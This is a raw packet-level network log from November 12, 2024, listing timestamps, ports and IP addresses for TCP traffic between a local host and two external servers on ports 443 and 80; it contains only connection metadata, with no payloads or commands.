Nov 12, 2024 08:06:04.370476961 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370529890 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.370536089 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370647907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370703936 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.370712996 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370795012 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370867014 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.370877028 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.370969057 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371017933 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.371025085 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371105909 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371175051 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.371181965 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371414900 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371462107 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.371467113 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371512890 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.371571064 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.371581078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.383326054 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.488415956 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488477945 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488523006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488540888 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.488567114 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488593102 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.488619089 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.488658905 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488711119 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.488718987 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488764048 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488807917 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.488817930 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.488979101 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489022017 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489032030 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489176989 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489237070 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489238977 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489249945 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489286900 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489295006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489321947 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489450932 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489495993 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489502907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489567995 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489614964 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489622116 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489909887 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.489952087 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.489959002 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.490075111 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.490118980 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.490125895 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.490268946 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.490314007 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.490320921 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.515158892 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607162952 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607264042 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607287884 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607372046 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607419968 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607429981 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607487917 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607537031 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607544899 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607589006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607635021 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607641935 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607732058 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607786894 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607798100 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607881069 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.607932091 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.607939005 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608027935 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608077049 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.608088017 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608345985 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608396053 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.608406067 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608413935 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608473063 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.608479977 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608489037 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608540058 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.608547926 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608586073 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608633041 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.608640909 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608737946 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.608781099 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.608788967 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.664822102 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.725565910 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725661039 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725684881 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.725701094 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725713968 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.725733995 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.725795031 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725857973 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.725866079 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725876093 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725908041 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.725917101 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.725936890 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726054907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726099968 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726108074 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726357937 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726408005 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726414919 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726464033 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726506948 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726516008 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726536036 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726577044 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726587057 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726686954 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726737022 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726746082 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726830006 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.726878881 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.726885080 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727054119 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727104902 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.727113008 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727165937 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727207899 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.727215052 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727248907 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727310896 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.727324009 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727540970 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.727583885 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.727591038 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.729398012 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.843961954 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844031096 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.844043970 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844055891 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844105959 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.844113111 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844299078 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844346046 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.844355106 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844490051 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844537020 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.844544888 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844712973 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844755888 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.844765902 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844923973 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.844968081 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.844975948 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845242977 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845299006 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845304966 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845320940 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845355034 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845364094 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845376015 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845381975 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845402956 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845556021 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845613956 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845618963 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845659018 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845740080 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845793009 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845799923 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845839977 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.845886946 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.845894098 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.846013069 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.846075058 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.846081972 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.846153021 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.846213102 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.846220016 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.899229050 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.962552071 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.962680101 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.962707043 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.962723970 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.962866068 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.962876081 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.962929964 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.962977886 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.962985992 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963232040 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963274956 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.963283062 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963411093 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963459015 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.963468075 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963532925 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963579893 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.963587999 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963680983 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963722944 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.963732958 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963793993 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.963840008 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.963848114 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964021921 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964066029 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964076996 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964282036 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964324951 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964332104 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964339972 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964389086 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964394093 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964405060 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964447021 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964566946 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964617014 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964623928 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964693069 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964732885 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964740038 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964831114 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:04.964870930 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:04.964878082 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:05.008688927 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:05.081103086 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:05.081162930 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:05.081177950 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:05.081191063 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:05.081229925 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:05.081270933 CET	443	49702	142.215.209.78	192.168.2.7
Nov 12, 2024 08:06:05.081315994 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:05.084424973 CET	49702	443	192.168.2.7	142.215.209.78
Nov 12, 2024 08:06:20.531187057 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:20.535990000 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:20.536077023 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:20.536159039 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:20.540952921 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418231964 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418323040 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418358088 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418368101 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418399096 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.418427944 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418442011 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.418442011 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418462038 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418473005 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418479919 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.418488026 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418512106 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.418512106 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.418557882 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.423361063 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.423378944 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.423391104 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.423403025 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.423480034 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.551697969 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551742077 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551753044 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551764011 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551800966 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.551839113 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.551860094 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551872015 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551883936 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551919937 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.551956892 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551968098 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551980019 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.551995993 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.552021980 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.552740097 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.552752018 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.552762985 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.552788019 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.552798033 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.552809954 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.552836895 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.553468943 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.553481102 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.553492069 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.553503036 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.553509951 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.553518057 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.553529978 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.553531885 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.553560019 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.554290056 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.554301023 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.554332018 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.585859060 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.585875034 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.585886002 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.585916996 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.585933924 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.684705019 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684752941 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684772968 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684786081 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684798956 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684801102 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.684820890 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.684885979 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684919119 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.684948921 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684962034 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.684987068 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685005903 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.685389996 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685403109 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685415030 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685429096 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.685456038 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.685631990 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685643911 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685661077 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685686111 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.685712099 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685729027 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.685758114 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.686263084 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686274052 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686286926 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686301947 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.686325073 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.686340094 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686353922 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686364889 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686377048 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686387062 CET	49798	80	192.168.2.7	141.98.10.88
Nov 12, 2024 08:06:21.686389923 CET	80	49798	141.98.10.88	192.168.2.7
Nov 12, 2024 08:06:21.686414003 CET	49798	80	192.168.2.7	141.98.10.88
